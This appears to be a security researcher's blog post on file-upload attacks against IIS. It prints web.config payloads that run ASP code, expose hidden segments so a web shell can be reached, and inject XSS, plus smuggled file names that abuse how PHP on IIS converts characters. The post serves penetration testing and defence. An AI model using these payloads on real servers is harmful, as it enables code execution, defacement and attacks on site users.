Monthly Archives: July 2014

Upload a web.config File for Fun & Profit

The web.config file plays an important role in storing IIS7 (and higher) settings. It is very similar to a .htaccess file in Apache web server. Uploading a .htaccess file to bypass protections around the uploaded files is a known technique. Some interesting examples of this technique are accessible via the following GitHub repository: https://github.com/wireghoul/htshells

In IIS7 (and higher), it is possible to do similar tricks by uploading or making a web.config file. A few of these tricks might even be applicable to IIS6 with some minor changes. The techniques below show some different web.config files that can be used to bypass protections around the file uploaders.

Running web.config as an ASP file

Sometimes IIS supports ASP files but it is not possible to upload any file with .ASP extension. In this case, it is possible to use a web.config file directly to run ASP classic codes:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />         
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
<%
Response.write("-"&"->")
' it is running the ASP code if you can see 3 by opening the web.config file!
Response.write(1+2)
Response.write("<!-"&"-")
%>
-->

Removing protections of hidden segments

Sometimes file uploaders rely on Hidden Segments of IIS Request Filtering such as APP_Data or App_GlobalResources directories to make the uploaded files inaccessible directly.

However, this method can be bypassed by removing the hidden segments by using the following web.config file:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.webServer>
        <security>
            <requestFiltering>
                <hiddenSegments>
                    <remove segment="bin" />
                    <remove segment="App_code" />
                    <remove segment="App_GlobalResources" />
                    <remove segment="App_LocalResources" />
                    <remove segment="App_Browsers" />
                    <remove segment="App_WebReferences" />
                    <remove segment="App_Data" />
					<!--Other IIS hidden segments can be listed here -->
                </hiddenSegments>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>

Now, an uploaded web shell file can be directly accessible.

Creating XSS vulnerability in IIS default error page

Often attackers want to make a website vulnerable to cross-site scripting by abusing the file upload feature.

The handler name of IIS default error page is vulnerable to cross-site scripting which can be exploited by uploading a web.config file that contains an invalid handler name (does not work in IIS 6 or below):

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers>
         <!-- XSS by using *.config -->
         <add name="web_config_xss&lt;script&gt;alert('xss1')&lt;/script&gt;" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="fooo" resourceType="Unspecified" requireAccess="None" preCondition="bitness64" />
         <!-- XSS by using *.test -->
         <add name="test_xss&lt;script&gt;alert('xss2')&lt;/script&gt;" path="*.test" verb="*"  />
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   <httpErrors existingResponse="Replace" errorMode="Detailed" />
   </system.webServer>
</configuration>

Other techniques

Rewriting or creating the web.config file can lead to a major security flaw. In addition to the above scenarios, different web.config files can be used in different situations. I have listed some other examples below (a relevant web.config syntax can be easily found by searching in Google):

Re-enabling .Net extensions: When .Net extensions such as .ASPX are blocked in the upload folder.
Using an allowed extension to run as another extension: When ASP, PHP, or other extensions are installed on the server but they are not allowed in the upload directory.
Abusing error pages or URL rewrite rules to redirect users or deface the website: When the uploaded files such as PDF or JavaScript files are in use directly by the users.
Manipulating MIME types of uploaded files: When it is not possible to upload a HTML file (or other sensitive client-side files) or when IIS MIME types table is restricted to certain extensions.

Targeting more users via client-side attacks

Files that have already been uploaded to the website and have been used in different places can be replaced with other contents by using the web.config file. As a result, an attacker can potentially target more users to exploit client-side issues such as XSS or cross-site data hijacking by replacing or redirecting the existent uploaded files.

Additional Tricks

Sometimes it is not possible to upload or create a web.config file directly. In this case, copy, move, or rename functionality of the web application can be abused to create a web.config file.

Alternate Data Stream feature can also be useful for this purpose. For example, “web.config::$DATA” can create a web.config file with the uploaded file contents, or “web.config:.txt” can be used to create an empty web.config file; and when a web.config file is available in the upload folder, Windows 8.3 filename (“WEB~1.con”) or PHP on IIS feature (“web<<”) can be used to point at the web.config file.

File Upload and PHP on IIS: >=? and <=* and "=.

In file upload attack, sometimes overwriting existing sensitive files such as web.config, .htaccess, or crossdomain.xml is needed in order to bypass protections around the uploaded files.

I found out that PHP on IIS (I used FastCGI) converts the following characters when it is going to save a file in Windows:

Greater-than symbol (closing angle bracket “>”) TO a question mark (“?”)

Less-than symbol (opening angle bracket “<”) TO an asterisk symbol (“*”)

Double quotation mark (“””) TO a dot character (“.”)

This feature can be abused to bypass file extension protections in which a file uploader accepts a file name without any extension or uses a blacklist method to check the file name and extension.

Now as an example, in order to overwrite a web.config file in the upload directory when the .config extension is blocked, it is possible to use “filename=”web<<“” in the file upload request. If “web**” replaces another file in the same directory (for example web.aspx), another combination can be used such as “filename=”web<<>fig”” or “filename=’web”config’”.

Note 1: Windows 8.3 feature could also be used but it would rename the web.config file to web~1.con in the end.

Note 2: Asterisk and question mark symbols cannot be used directly as the file system rejects them.

Note 3: Sometimes WordPress replaces double and single quotation marks with visually similar symbols. Therefore, it is recommended to type the vectors yourself in Burp Suite or other proxies that you use instead of copy/paste them directly from here.

You can also see the first version of my “File in The Hole” slides located at the following URL: https://soroush.secproject.com/blog/2012/11/file-in-the-hole/

I have found this technique myself so please send me a link if you had seen it somewhere else before, and I will add its link here as well.

Updates – similar efforts on this topic (this method was known before as expected!): 

https://github.com/ironbee/ironbee-rules/blob/master/support/php/test_fs_evasion.php

http://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf

http://www.ush.it/2009/07/26/php-filesystem-attack-vectors-take-two/

http://onsec.ru/onsec.whitepaper-02.eng.pdf